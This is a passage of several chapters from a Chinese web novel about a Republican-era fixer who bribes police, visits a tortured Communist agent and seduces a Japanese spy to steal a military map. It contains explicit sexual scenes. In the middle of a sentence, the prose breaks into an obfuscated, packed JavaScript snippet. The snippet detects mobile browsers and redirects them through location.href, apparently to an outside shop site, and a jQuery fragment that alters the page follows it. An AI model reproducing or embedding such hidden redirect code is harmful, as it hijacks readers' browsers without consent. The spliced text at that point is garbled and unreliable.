静雯喝到口里的牛奶差点喷李二狗一脸,她打了李二狗一拳,娇嗔道:“当着干爹的面,你怎么什么都说?真讨厌!” 李二狗嘿嘿一笑,说道:“干爹抱孙子心切,咱们做子女的得加倍努力才行!” 吴有德哈哈一笑,不知说什么才好。 “干爹,静雯每天凌晨一二点才下班,实在是太辛苦了。” 静雯急忙说道:“干爹别听他胡说,我可没觉得辛苦。” “你不觉得辛苦,我心疼行不行?” 吴有德顿时明白了李二狗的意思。 “静雯,我最近一直在考虑怎么安排你。” 静雯怕吴有德以为是自己撺掇李二狗说的这些话,急忙解释道:“干爹,你别听二狗胡说,我真的没觉得辛苦。” “静雯,你说得这些干爹都知道,但干爹需要你多为我分分忧,你不会不同意吧?” “我都听干爹的。” “我想好了,百乐门那边还是由你负责打理,平时让李师师在那盯着就行。” 吴有德故意看了一眼李二狗,李二狗正低着头把米汤喝得“吸溜”乱响。 “贸易行、医药公司,还有医院那边干爹以后就都不管了,交给你打理,你觉得怎么样?” 李二狗能感觉到静雯内心的兴奋,但她表面却很淡定,说道:“干爹,这么大一摊子事,我能行吗?我怕误了干爹的事。” “不行还能怎么办?要不你让二狗回来帮你?反正干爹都交给你们了,你俩看着办吧!” “干爹让你**就干呗,干不好还干不孬吗?” 静雯笑打了李二狗一拳,吴有德笑道:“我算是看明白了,二狗是一点心不想操,总想吃现成的!” “知我者干爹也!” 第189章 宋小曼去哪了 吃过早饭之后,李二狗来到医院。 胡士高还是半死不活地躺在病床上哼哼唧唧,念秋躺在床上还未起床。 听到动静,看到李二狗已经站在病床前,念秋急忙下了床。 “狗哥,你怎么来这么早?” “念秋,这床睡得还习惯吗?” “谢谢狗哥,睡得特别舒服,我还做了一个梦呢,嘻嘻。” 李二狗此时可没心情和她探讨梦境。 “念秋,三奶奶没来吗?” “没有啊,昨晚你没见到她吗?” 李二狗没有回答,说道:“那我去酒店看看。” 来到酒店,服务台的服务员已经换了班,见李二狗进来,满面笑容地向他问好。 “先生,早上好。” 李二狗点点头,没有说话便直接上了三楼。 333房间依然没有人回应。 幸好李二狗早有准备,他左右瞅了瞅,见四下无人,便从衣兜里掏出一根细铁丝,插入锁孔,轻轻转了两圈,房门便被打开了。 他进入房间,见床上被铺收拾地整整齐齐,很显然昨晚没有人住过,宋小曼确实是彻夜未归。 检查了一下宋小曼的行李,除了一些换洗的衣物,只有几本油印的小册子。 《**党宣言》《星星之火,可以燎原》《中国的红色政权为什么能够存在》《中国社会各阶级的分析》…… 李二狗随手翻了翻,并没有看明白里面写的什么意思。 宋小曼到底去哪了?这才是李二狗此刻最关心的。 出了酒店,李二狗来到井伊商社。 商社前台是一个漂亮小姑娘,看模样应该是中国人。 “先生,您好,请问您找谁?” “我找酒井空小姐。” “请您跟我来。” 小姑娘把李二狗带到一间办公室门前,敲了敲门,得到允许后,便把李二狗带了进去。 酒井空看到李二狗,脸有些泛红,眼睛里荡漾着迷蒙的潋滟水光,像一颗粉透香甜的水蜜桃。 “李先生,您怎么来了?快请坐。” 小姑娘给李二狗倒了一杯水后就离开了。 酒井空顺势坐到李二狗身旁,水葱般的手指很自然地放在李二狗的大腿上。 “二狗先生,这么快就想我了?” 一会李先生,一会二狗先生,弄得李二狗酥麻酥麻的,不得不承认,酒井空确实是一个非常迷人的女人。 李二狗从未见过一个女人能把优雅和风骚转换的如此不着痕迹。 “酒井小姐,昨晚一别,夜不能寐,不得不承认,你真是一个令人见之难忘、思之如狂的女人。” 酒井空的手指就像弹钢琴一般在李二狗的大腿间来回跳动,她的目光充满了炽热和渴望,仿佛被一种磁性的力量深深吸引。 “李先生,您这是在勾引我,我可以这样认为吗?” “酒井小姐,俗话说,酒不醉人人自醉,你再这样,我可有些把持不住了。” “李先生……您想把人家怎么样嘛?” 酒井空低沉的呢喃声极具诱惑和挑逗。 李二狗如果不是心里一直装着宋小曼的事,真想立马办了她。 他握住酒井空不安分的手指,说道:“酒井小姐,难道你就不怕有人突然闯进来吗?” 酒井空这才想起他们是在自己的办公室,她把身体坐直了一些,说道:“我的房间在二楼,我们可以到那里深入地交流交流,李先生,您意下如何?” “酒井小姐,你这是等不到天黑了吗?” 酒井空突然意识到自己在这个男人面前有些失态,这也不怪她,李二狗实在是太有魅力,女人很难抵挡住他的诱惑。 她再次坐直了自己的身体,端起茶几的茶杯递到李二狗面前,说道:“李先生,喝点茶。” 李二狗笑了笑,从酒井空的手中接过茶杯,故意抚摸了一下她嫩滑的手背。 “李先生,你真讨厌!” 李二狗眼睛一直盯着酒井空,说道:“酒井小姐,不怕你笑话,昨晚和你分别之后,我脑海里全是你的影子,差点就要回来找你。” “真的吗?”酒井空拉丝般的眼神晶莹剔透。 “当然是真的!” “幸好你没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16840802|190554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来,昨晚商社发生了一些事情,我一直忙到很晚。” 李二狗尽量让自己保持镇定,问道:“发生了什么事情?怪不得看你脸色有些憔悴。” “真的吗?”酒井空忍不住去抚摸自己的脸,她可不想在李二狗面前失态。 “酒井小姐天生丽质,憔悴的时候有一种慵懒的美,倒显得更有一番韵味。” “净哄我开心,李先生一看就是一个多情的男人。” 李二狗叹道:“多情总被无情恼,只希望酒井小姐不是那种无情的女人。” 酒井空深情凝视李二狗,嘴唇轻微抖动了一下,李二狗不得不吻了上去。 这一吻,深入、持久、难以自拔! “酒井小姐,你还没告诉我昨晚发生了什么事情,我很担心你。” 酒井空还在回味刚才的深吻,她面色潮红,显得意犹未尽。 “有一个中国女人在商社偷东西,被我们抓住了。” 李二狗最担心的事还是发生了,十有**被抓住的女人就是宋小曼。 “偷东西?竟有人敢到井伊商社偷东西?她偷了什么东西?” “我也不知道。” 李二狗看酒井空眼神清澈,并不像是说谎。 “这样的人就应该送到警察局,让警察好好收拾她。” “是啊,昨天晚上已经送到警察局了。” 李二狗知道,井伊商社地处城关警察局辖区,宋小曼应该被送到城关警察局了。 “酒井小姐,我还有事,我们下次再约好吗?” “李先生,你要走?” 酒井空显然没有料到李二狗要走,她以为两人此时进行深入地交流是水到渠成的事,她身体和精神都已做好了充足的准备。 “我十分舍不得离开,可我真的有十分重要的事情要办,如果今晚有时间,我再来找你好吗?” “那你今晚一定要来哦,不然人家会睡不着的。” 李二狗捏了捏她粉嘟嘟的脸颊,说道:“我怎么舍得让你等太久。” 酒井空一直把李二狗送到井伊商社门外,李二狗直接去了城关警察局。 第190章 她是我相好 “站住!你干什么的?” 警察局门口一个站岗的警察用枪挡住李二狗的去路。 李二狗知道,警察局这帮人都是一些狗眼看人低的家伙,你越对他客气,他们显得越傲慢。 他趾高气扬地说道:“我约了王副局长。” 一听说来人找王副局长,又见李二狗气度不凡,警察语气立马客气了很多。 “你叫什么,我先给王副局长通传一声。” “我叫李二狗。” 王有志听到李二狗这个名字的时候,着实吓了一跳。 上次他冒险救出李云龙,虽然赚了不少钱,但也着实吓得不轻。 虽然他并不想见李二狗,但李二狗作为吴有德的干儿子,确实能带给他实实在在的好处,把这样的财神爷挡在门外,不符合他做官的原则。 警察带着李二狗来到王有志办公室。 “王局长,好久不见。” “哈哈,李先生,别来无恙啊,”王有志当然知道李二狗是无事不登三宝殿,“请坐。” “李先生,这次找我所为何事?” 李二狗先是叹了一口气,显得十分为难。 “李先生,咱们是自己人,有话不妨明说。” 李二狗再次叹了一口气,说道:“都不知道该怎么和王局长张嘴,实在是有些说不出口。” 王有志虽然不知道李二狗葫芦里卖的什么药,但也知道他是在演戏。 “李先生,这里没有外人,有什么话你就直说吧。” “王局长,昨晚井伊商社是不是送过来一个偷东西的女人?” “偷东西的女人?我没听说啊。” 李二狗暗中观察着王有志的微表情,不像是在说谎。 “那得麻烦王局长先打电话问一下。” 王有志拿起电话,打给了拘留室。 昨晚,井伊商社果然送过来一个偷东西的女人。 “昨晚日本人确实送过来一个女人,不过,李先生今日前来是什么意思?” 李二狗再次叹了口气,掏出手绢擦了擦额头上的汗水。 “实不相瞒,王局长,那个女人是我相好。” “什么?是你相好?” 王有志微微有些吃惊,以吴有德的实力,李二狗的相好怎么会沦落到偷东西的地步? “李先生,你这话我就有点不明白了,你的相好?去井伊商社偷东西?这实在是令人匪夷所思啊。” “王局长您有所不知,那个女人叫宋小曼,是我在外边的一个相好,昨晚我和吴爷也在井伊商社,她看到我和井伊商社的酒井空小姐多说了几句话,便怀恨在心,用这种方法来报复酒井空小姐,哎,说出来真是丢人啊!” 王有志听到李二狗和酒井空的事,不怀好意地笑了笑,心想,你小子真是艳福不浅,连日本女人都能搞到手,难怪你相好怀恨在心。 “李先生,这也不是什么大事,你千万不要记在心上,女人嘛,耍耍性子哄哄也就好了。” “这次我一定不会轻饶了她,还哄她?回家先吊在梁头打一顿!” “哈哈,李先生说笑了,那么水灵灵的一个女人你舍得下手啊?哈哈!” “趁早打死算完,我也省省心。”说着李二狗从兜里掏出两根金条,放在王有志办公桌上。 “王局长,这事实在是太丢人,不过我也没有办法,总不能不管她吧?毕竟一日夫妻百日恩嘛。还请您帮帮忙,把她放出来。” 王有志瞥了一眼桌上金灿灿的金条,笑逐颜开。 “这点小事,好说好说。” 他顺手把金条收起来放在抽屉里,起身说道:“你在这坐一会,我去看看什么情况。” “王局长,拜托了,不过还请您替我保密,丢我的脸不打紧,关键还有吴爷的脸不是?” “哈哈,李先生请放心,我知道该怎么做。” 王有志去了二十多分钟才面无表情地回来。 “王局长,怎么样?” 王有志叹了一口气,说道:“李先生,这事还真有点麻烦,本来不是什么大事,但不知道为什么,日本人一直咬住不放,一定要让我们查出幕后指使之人,他们已经向省政府递交了公函。” “王局长,她只是为了泄愤,才做出这种不端之事,日本人也太小题大做了吧?” 王有志说道:“李先生,你是真不知道还是假不知道?她要偷得东西肯定是很敏感,日本人才会揪住不放,一定要让查出幕后主使。” 李二狗糊涂了,他是真不知道。 “王局长,就没有其他办法了吗?我是真看不得她在里面受苦。” 王有志眼睛下意识地看了看门后,低声说道:“李先生,实不相瞒,上边已经派了人下来,马上就到,他们怀疑她是共产党。” “什么?共产党?这怎么可能?!她不可能是共产党!” 李二狗听说过共产党,知道他们建立的队伍叫红军,李云龙就去当了红军。 这些都是男人干的事,宋小曼一个弱女人怎么可能是共产党? 这不可能! 绝对不可能! “我劝你还是不要管得好,你也知道国民政府有多恨共产党,千万别连累了你。” “王局长,如果你能把她救出来,我一定重谢。” “李先生,现在不是谢不谢的问题,是我们警察局根本就没有这个权力放人!你听哥哥一句劝,女人还不多的是,你可千万别想不开,沾染上共产党,那是要杀头的!” 听到杀头两字,李二狗吓得立马瘫坐在沙发上。 偷个东西竟然要杀头,日本人也太不讲道理了。 “王局长,能让我见她一面吗?” 王有志面露为难之色,说道:“上面派的人马上就到,现在没时间了,你晚上再过来,我想办法让你们见一面。” “那多谢王局长了,我晚上再过来。” 李二狗之所以想见宋小曼,除了担心以后没有见面的机会之外,还想问清楚她到底要偷什么,才惹得日本人如此动怒! 回到吴公馆,李二狗本想让吴有德帮忙去说服日本人不再追究,但此事关系重大,必须得先见到宋小曼弄清楚到底发生了什么事再说。 晚上,李二狗如约来到城关警察局。 “李先生,你要做好思想准备,那些人下手……挺狠的!” 李二狗没想到他们竟会对一个弱女子动手,实在是令人不齿! 第191章 探监 王有志带着李二狗来到城关警察局的拘留室。 拘留室里阴暗潮湿,一进去就闻到一股发霉的味道和血腥气息,令人窒息。 高高的室顶上,瓦数不高的电灯发出昏黄的灯光,压抑感阵阵袭来,李二狗只觉得浑身的汗毛都竖了起来。 一直走到拘留室的尽头,有一扇紧闭的铁门,门上上着锁,有两个警察在门口看守。 “把门打开!” “是,王副局长。” 铁门打开,血腥味扑面而来。 李二狗看到里面有一把木质椅子,上面坐着一个血肉模糊的人,头耷拉着,披头散发,完全看不清人的面目。 但从她的衣着打扮和身材来看,李二狗一眼认出此人正是宋小曼。 “小曼!” 李二狗立马扑上去,宋小曼听到一个熟悉的声音,艰难地抬起来,眼神里充满了惊恐和惊喜。 “怎么是……你,你……怎么来了?” 李二狗伸出颤抖的手,想去抚摸宋小曼的脸颊,却又怕弄痛了她的伤口。 他的手停在半空,心痛不已。 “小曼,让你受苦了!” 愤怒的李二狗回头怒视着王有志。 “王副局长,你们竟对一个弱女子下如此狠手,你们的良心就不会痛吗?” 王有志想到宋小曼会挨打,但没想到会被打成这样! “李先生,这和我们警察局完全没有关系,是省政府政训处那些人干的,他们实在是太过分了!” 李二狗的泪水夺眶而出,这些狗特务怎么对自己的同胞比日本人还狠! “对不起,王局长,我能单独和她说几句话吗?” 王有志说道:“李先生,你只有五分钟的时间,如果被政训处的那帮人发现,你我都得吃不了兜着走。” “谢谢!” 王有志叹息一声,转身走了出去。 李二狗来到宋小曼身边,眼角含泪,强忍心中悲痛,说道:“三奶奶,时间紧迫,咱们长话短说,我想救你出去,但是日本人现在咬住你不放,一定要揪出幕后指使之人,现在你必须告诉我,你去井伊商社是为了什么?” 宋小曼盯着李二狗的眼睛,眼神浑浊,她不知道李二狗为什么要问这个问题,也在思考李二狗值不值得相信。 “三奶奶,你放心,如果我想害你,就不会来救你,你只有告诉我真相,我才能想出救你的办法。” 宋小曼刚动了一下身子,却忍不住呻吟几声,伤口处传来一阵撕心裂肺的痛楚。 “三奶奶,你再不说,真得来不及了。” “二狗……” 这是宋小曼第一次叫他的名字,李二狗有些惊讶地看着宋小曼。 “我……不是不相信你,而是……不想连累你,你还是走吧,别管我!” “我怎么可能眼睁睁看着你去死?你告诉我,我一定会想办法救你出去。” “可是……” “没有什么可是,你既然连死都不怕,还怕告诉我真相吗?” 宋小曼心想,因为自己的失误,已经没有办法完成任务,如果李二狗能够帮助自己完成任务,也就死而无憾了。 “二狗,你……知道吗?从我第一次见你,我就知道你是一个好人!” 王有志打开铁门,催促道:“李先生,快一点,我们得走了!” “再给我一分钟!” 李二狗知道宋小曼试图在用自己的方式来打动他,但时间紧迫,这些前戏铺垫实在是太过奢侈了。 “小曼,这些话等我把你救出去再说,你快点告诉我你去井伊商社的目的。” 宋小曼用力地咬着嘴唇,最后还是决定选择相信李二狗。 “井伊商社其实是日本人在中国的特务机构,他们表面上是在中国做生意,其实是以做生意之名,对中国各地进行侦察,为以后发动侵华战争做准备。” 李二狗虽然一直怀疑井伊商社和吴有德合作的真实目的,但也没想到他们竟然是日本特务。 “那你去井伊商社是为了什么?” “他们近期刚刚绘制了一幅华北五省地形地貌图,上面不仅标注了华北五省的山川河流,还详细标注了华北各地的军事部署。” 李二狗在惊讶日本人的狼子野心时,也同样惊讶于宋小曼的身份。 “你到底是什么人?为什么要去偷这张图?” 宋小曼没有回答自己的身份,而是嘱托道:“二狗,一定不能让日本人把这张图带回日本,一定要公开揭露他们企图侵华的狼子野心。” 李二狗想不明白,日本人绘制这样一幅地图,其险恶用心,昭然若揭,为何省政府的人还会对宋小曼下如此狠手。 “小曼,你为何不把这件事的真相告诉省政府的人?” 宋小曼冷笑一声,说道:“省政府那些人恨我们甚于恨日本人,关键现在我并没有抓住日本人的把柄,我说什么他们都不会相信的,而且如果我说出来还会打草惊蛇,如果引起日本人的警觉,再想得到那张图就更难了。” “你知道那张图藏在什么地方吗?” “不知道,昨天晚上,我刚刚潜入明石有信的办公室就被发现了,如果我猜得没错,那张图一定藏在他的办公室里。” 李二狗此时已经隐约猜到了宋小曼的身份。 “你在省城是不是有同伙?” 宋小曼有些惊讶地看着李二狗,看来以前她真是小瞧他了。 李二狗从她的眼神里已经得到了肯定的答案。 “告诉我怎么找到他们,我需要有人配合来救你。 宋小曼说道:“中华大街9号有一家书店,你去书店,对伙计说你要买中华书局出版的红楼梦。” 李二狗没想到接头暗号竟如此简单,如果真有人去买中华书局出版的红楼梦怎么办?实在是太草率了! 宋小曼挤出一丝微笑,仿佛看穿了李二狗的心思。 “放心,中华书局没有出版过红楼梦。” “李先生,我们该走了!” 王有志再次推门进来催促。 “你保重,小曼,我会尽快救你出去。” 宋小曼和李二狗此前接触并不多,她没想到李二狗会为了救自己,甘愿以身犯险。 “谢谢你。” 第192章 你身上怎么有血 李二狗跟着王有志快步走出拘留室。 “王局长,今晚的事,谢谢你。” 王有志盯着李二狗,特意提醒道:“李先生,我奉劝你千万不要有劫狱的念头,这件事绝无可能!” 李二狗冷笑道:“王局长,请您放心,无论我做什么,绝不会连累你。” “李先生,千万不要因为一时冲动,丢了自己的性命,我建议你可以回去找吴爷想想办法。” “王局长,谢谢您的提醒,告辞!” 李二狗回到吴公馆,吴有德应酬还没有回来,静雯正坐在院子里看月亮。 “你回来了?一晚上都去哪了?” 李二狗给了静雯一个大大的拥抱,说道:“我一直在医院,胡老爷情况很不好,干爹怎么这么晚还没回来,和谁应酬的?” 静雯说道:“好像是和运河帮的人。” 运河帮,对李二狗来说,并不是一个陌生的名字。 吴有德天天游走在日本人、运河帮、省政府、警察局这些形形色色的人当中,李二狗很为他的安全担忧。 “啊!你身上怎么有血?哪里受伤了?”静雯惊呼道。 李二狗低头一看,衣服上确实有一片血渍,应该是刚才不小心碰到了宋小曼身上的血。 “别一惊一乍的,我没事,这不是我的血。” “那是谁的血?” “胡老爷吐了血,不小心沾在了我身上,我上楼去洗个澡,别弄你身上。” “我去给你放热水。” 李二狗坐在浴缸中,思索着如何才能救出宋小曼。 她在里面多待一分钟,就会多受一分钟的折磨,李二狗的心也会跟着受折磨。 也许是太过劳累的原因,李二狗竟在浴缸中睡着了。 静雯见李二狗一直不出来,就在门口喊了两声,里面并没有回应。 她赶紧推门而入,发现李二狗双目紧闭,鼻腔里发出一阵轻微的鼾声。 静雯笑了笑,准备去叫醒他,浴缸里清澈见底,她顿时羞红了脸。 “二狗,醒醒,这里不能睡,会着凉的。” 李二狗醒来,看到静雯娇红的脸庞正对着自己,呼出的气息带着温热扑到自己脸上,他忍不住亲了一下她的额头。 “我们去床上睡吧……” 第二天,李二狗和静雯早早便来到餐厅等候吴有德一起吃早饭。 佣人把早饭端到桌上后,说道:“李先生,静雯小姐,你们先吃吧,吴爷昨晚没有回来。” “吴爷晚上经常不回来住吗?” “有时候喝多了酒,也会住在外边。” 李二狗和静雯吃过早饭,静雯准备去公司上班。 “二狗,你今天什么安排?要是用车的话我把车留给你。” 李二狗自己不会开车,并不想有司机跟着自己。 “我今天还是去医院,和医生商量一下胡老爷的治疗方案,用不着车,还是你用吧。” 静雯此时盼望着胡士高可以多活一段时间,这样李二狗就可以多留在省城一段时间。 “胡老爷的事,你不用太担心,我已经特意给郑院长交代过了。” “你办事我总是放心的,”李二狗亲吻了一下静雯的额头,“到了公司注意休息,别累着。” 静雯羞涩一笑,说道:“放心吧,在公司上班可比在家轻松多了。” “今晚回来,我多出点力,嘿嘿。” 两人嬉闹着一起出了门。 李二狗按照宋小曼提供的地址来到中华大街9号,果然是一家书店。 书店面积并不大,一个掌柜模样的人正在柜台擦拭桌子。 “先生,买书吗?” 李二狗回头看了看店外,才走到柜台前,低声问道:“有中华书局出版的红楼梦吗?” 书店掌柜大吃一惊。 “是宋小曼叫我来的。” 掌柜从柜台走出来,警惕地观察着书店外面,确认没有异常情况后,才说道:“跟我到后面。” “你是什么人?你怎么认识宋小曼?” 李二狗说道:“宋小曼是我们胡家大院的三姨太,我是胡家大院管家李二狗。” “李先生,她现在怎么样?” “她现在的情况很不好,人被关在城关警察局的拘留室,省政府政训处的特务对她用了酷刑。” “这些狗特务,只会窝里横!” “请问老板怎么称呼?” “你叫我老王吧,李先生,宋小曼让你到这里来找我,她有让你带回什么消息吗?” “没有,她只是为自己没有完成你们交给她的任务而感到深深地自责。” “宋小曼同志此前虽然和组织失去了一段时间的联系,但实践证明她是一位好同志,我们一定要把她救出来。” 这是李二狗第一次听到“同志”这个词,他竟感到无比的亲切。 “现在日本人给省政府施压,要求揪出幕后指使之人,省政府政训处已经怀疑她是共产党,想把她救出来,实在是太难了!” 老王说道:“李先生,小曼同志选择相信你,说明你是一位值得信赖的人,实不相瞒,我们就是共产党。” 李二狗其实并不关心他们到底是什么人,他只想救出宋小曼,那是他心里的白月光,他不能眼睁睁地看着她被摧残。 “老王,如果你真的相信我,还请如实告知你们偷取华北五省地形地貌图的真实目的。” 李二狗一直想不明白,中国现在是国民政府执政,挫败日本人的侵华阴谋不应该是他们的事情吗? 共产党冒着生命危险操这个闲心到底是图什么? 老王仿佛猜到了李二狗的心思,他说道:“李先生,说到底中国不只是国民党一家的中国,它是我们大家共同的中国,每一个中国人都有责任和义务来反抗日本的侵略。” 李二狗对老王的话肃然起敬! “老王,听君一席话,胜读十年书,我李二狗佩服你们共产党人的爱国情怀,我去帮你们把地图偷出来。” 老王没有想到李二狗竟会答应帮助他们去偷取华北五省地形地貌图。 “李先生,我佩服你的勇气,可想从日本人那里把地图偷出来,绝非易事,很可能会丢掉性命,你不是我们组织的人,我看你还是不要参与了。” “你刚才不说了吗?中国是我们大家的中国,我也有责任和义务来保卫它!” “李先生的话真是令人肃然起敬!只是不知道李先生可否有了具体的计划?” 第193章 带刺的玫瑰 其实李二狗并没有想好如何偷取华北五省地形地貌图,更没有想好如何把宋小曼解救出来。 他只是觉得这些事必须有人去做。 “老王,你放心,我会尽快把地形地貌图偷出来交到你手上,另外……”李二狗犹豫了一下,还是说道:“我建议这两天你还是先撤离这个书店,虽然我们都相信宋小曼的人品,但政训处的酷刑不是谁都能抗住,毕竟她只是一个柔弱的女人。” 老王眼神坚定,斩钉截铁地说道:“女本柔弱,有信仰则刚,我相信宋小曼同志的信仰。” 信仰?这对李二狗来说又是一个新词。 有了信仰,皮鞭抽打在身上就不疼了吗?辣椒水灌进胃里就不辣吗? 人毕竟是血肉之躯,又怎么能扛得住老虎凳、辣椒水和烧的通红通红的烙铁! “老王,为了安全起见,我还是建议暂时撤离。” 老王不想再和李二狗争论,便说道:“李先生,谢谢你的提醒,我会妥善安排的。” 见老王这个态度,李二狗也不好再说什么,只是心中暗自提醒自己,下次再来一定要提高警惕,这个老王做事太不严谨! “老王,那我先回去了,有了结果我会第一时间联系你。” 李二狗离开书店,便去了医院。 念秋见到李二狗如同见到了救星。 “狗哥,你终于来了,三奶奶一直没回来,我都快急死了。” “我来就是告诉你,三奶奶临时有点私事,这两天就先不过来了。” 念秋虽然怀疑李二狗的话,但作为丫鬟,她知道自己的地位,也不好多问。 “刚才有个漂亮女人来找你,我说你还没有过来。” 李二狗知道这个女人肯定是静雯,这也是他赶到医院的主要原因。 “她是医院领导,来商量老爷的治疗方案,我出去看看。” 李二狗也不知道自己为什么要和念秋解释这些,也许只是不想让她胡思乱想。 来到院长办公室,静雯果然在里面。 “二狗,你去哪了?” “我出去买了点东西,你怎么来了?我来找郑院长商量一下胡老爷的治疗方案。” 李二狗及时转移了话题,静雯也不好再追问。 郑长寿说道:“李先生,静雯经理已经交代过了,我们医院肯定会全力以赴,只是胡老爷这病早已病入膏肓,我们尽量减少他的痛苦吧。” “郑院长,感谢,我代表胡家大院感谢你。” 李二狗看向静雯,问道:“我还要回病房,你在待一会?” 静雯来医院就是为了找李二狗,没想到他竟然不在医院。 “我和你一起走。” 出了院长办公室,静雯质问道:“你给我说实话,你上午去哪了?” 李二狗正为宋小曼的事发愁,听到静雯的质问,便没好气地说道:“是不是我去趟厕所也得提前和你报告?” 静雯愣在原地,眼泪流得哗哗的。 李二狗顿时慌了神。 “对不起静雯,是我说错话了,你别哭啊,你一哭我心都碎了。” 静雯边哭边说道:“你要是烦我讨厌我就告诉我,我一定不会缠着你。” 李二狗顾不得医院里人来人往,把静雯搂在怀中。 “静雯,我怎么会烦你呢?和你说实话吧,今天早上出门不久,我便遇到了运河帮的一个人,那人看我的眼神让我不得不提高警惕,为了避免不必要的麻烦我就没有来医院,而是把他引到某个隐蔽处,干掉了他!” 静雯吓得浑身一激灵,李二狗杀死运河帮马五爷的事一直悬在她心里,总担心哪天会东窗事发。 “二狗,这些天你还是尽量少出门,等办完了事还是先离开省城吧。” 李二狗问道:“不生气了?” “哼,你真讨厌!” 两个人腻腻歪歪,毫不顾忌周围人异样的眼神。 “静雯,今天晚上我不能回去陪你了,陪床的丫鬟身体不舒服,三姨太又根本指望不上,今天晚上我得在医院守着。” “还是我安排两个人来医院伺候胡老爷吧?我不想你这么辛苦。” “不用,胡老爷的事是胡家大院的私事,你安排干爹的人过来不合规矩,干爹嘴上不说,心里再不高兴埋怨我们。” “那我来陪你一起。” “怎么?一晚上都忍不了吗?这里可没有合适的地方,哈哈。” “你讨厌死了!” “好了,医院这边脏兮兮的,你还是尽量少过来。” 安抚完静雯,静雯便离开了医院,李二狗待在医院里想对策,他需要一个安静的环境。 “酒井小姐吗?我是李二狗。” 听到是李二狗,酒井空握着电话的手都有些颤动。 “二狗先生,找我什么事?你要请我吃饭吗?” “那是我的荣幸,只是不知道酒井小姐今晚有没有时间?” “二狗先生请客当然有。” “今晚七点,你们商社东边的京都料理店,我们不见不散!” “不见不散。” 晚上七点钟,李二狗已经站在京都料理店门口等候。 酒井空特意穿了一件酒红色修身旗袍,就像一只暗夜里翩翩欲舞的红色蝴蝶。 她高挽着发髻,身材凹凸妙曼,迈着不紧不慢的小碎步,浑身散发着暧昧的诱惑。 “酒井小姐,你今晚可真美。” 酒井空莞尔一笑,带着日本女人特有的羞涩,说道:“二狗先生,我只有今晚才美吗?” “当然不是,酒井小姐无时无刻不散发着迷人的魅力,只是今晚更加夺人心魄。” “二狗先生的嘴骗人的鬼,我才不会相信,嘻嘻。” 酒井空很自然地挽起李二狗的胳膊,两人一起走进了料理店。 “酒井小姐,你来点菜吧,实不相瞒,我这是第一次来日式料理店。” 酒井空笑道:“二狗先生的第一次给了我,我真的很荣幸。” “我的第一次给了你应该是我的荣幸的才对,酒井小姐别嫌弃我青涩就好。” 酒井空舌头轻轻舔舐了一下嘴唇,拉丝般的眼神直视李二狗。 “我喜欢青涩,就像柠檬,上面有一股阳光的味道。” “比起青涩的柠檬,我更喜欢带刺的玫瑰。” 第194章 洪荒之力 “带刺的玫瑰?二狗先生就不怕被上面的刺扎伤吗?” “玫瑰花瓣柔软且丰满,即使被扎的鲜血淋淋我也心向往之。” “二狗先生还真有牡丹花下死,做鬼也风流的古人风范。” “哈哈,喝日本酒,做风流人,酒井小姐可不要笑话我啊。” 几杯清酒下肚,酒井空脸色绯红,更添几分神韵。 一个穿着和服的女服务员跪在桌前上菜,态度极其恭敬。 李二狗笑道:“酒井小姐,我一直想不明白,为何你们日本女人穿的和服后面都有一个小被子,是为了方便吗?” 酒井空一口清酒喷到李二狗脸上。 “对不起,对不起,”酒井空一边道歉一边用手绢擦拭李二狗脸上的液体,“实在是太冒犯二狗先生了。” 李二狗笑着接过手绢,把脸上的清酒擦拭干净。 “没关系,是我唐突了,惹得酒井小姐没忍住。” “二狗先生太会说笑了,我从来没有想过你说的那个小被子到底是做什么用的。” “那你现在想想,它到底是做什么用的?” “你讨厌死啦……” “酒井小姐穿上中国旗袍风情万种,只是不知道穿上日本和服会有什么样的神韵。” 酒井空挑逗道:“二狗先生如果想知道,今晚可以跟我回商社,我有一套新做的和服,可以穿给你慢慢欣赏。” 李二狗伸手压在酒井空的手背上,轻佻地说道:“其实我更喜欢酒井小姐不穿衣服的样子。” 酒井空有一种棋逢对手的感觉,这个男人越来越让她着迷。 “二狗先生,是想让我见识你们中国男人的荒洪之力吗?” “日本女人的温顺体贴更令我欲罢不能!” 女服务员在旁边听的面红耳赤,她真怕这两个人不顾自己在场,放浪形骸起来。 “酒井小姐,吃饱了吗?时间不早了,我们该回去了。” “谢谢二狗先生的盛情款待。” 酒井空挽着李二狗的胳膊走出料理店。 此时皓月当空,李二狗的脚步已有些轻浮。 “酒井小姐,我送你回去吧。” “二狗先生,去我那里喝点清茶醒醒酒吧?” “方便吗?” 面对李二狗的明知故问,酒井空笑道:“我要说不方便,难道二狗先生就不去了吗?” “如果真不方便,改日吧!” “不管方便不方便,还是今日吧。” 酒井空扶着李二狗进入井伊商社。 “酒井小姐,你住几楼?上楼不会碰到你们明石社长吧?” “我还以为二狗先生天不怕地不怕,原来还怕我们社长啊,嘻嘻。” “我怕明石社长告诉我干爹,你知道的,我这人脸皮薄。” 酒井空笑道:“放心吧,二楼是办公区,我们都住在三楼,明石社长住在三楼东侧,我的房间在中间位置,碰不到的。” “那明石社长会不会还在他的办公室?上楼的时候可千万别碰到才好。” 酒井空指了指二楼中间的一个窗户,说道:“看到没?那个房间就是明石社长的办公室,关着灯,办公室没人,好了,我们快点上去吧,不然就真碰到明石社长了。” 李二狗看到,明石有信的办公室正好在酒井空三楼房间的下方。 两人上了楼,酒井空立刻扑到李二狗身上。 “酒井小姐,不是邀请我上来喝清茶吗?” “待会有清泉甘露,清茶有什么好喝的。” 李二狗知道今晚这一场逢场作戏必须把戏做足,他只能让自己吃这个哑巴亏了。 他抱起酒井空,粗暴地扔到床上,没想到酒井空却显得异常兴奋。 黑色的长发在半裸的香肩上随意四散,苍白到近乎没有血色的肌肤透着一种病态的美感。 半褪的红色旗袍已经遮掩不住她凸凹有致的身躯。 李二狗扑了上去,一时间地动山摇,房中响起此起彼伏的嘶吼与喘息声。 事后,香汗淋漓的酒井空躺在李二狗的怀中。 “你让我真正见识了什么是真正的男人,中国男人,棒棒的!” “你倒是享受了,老子累得腰酸背痛腿抽筋。” 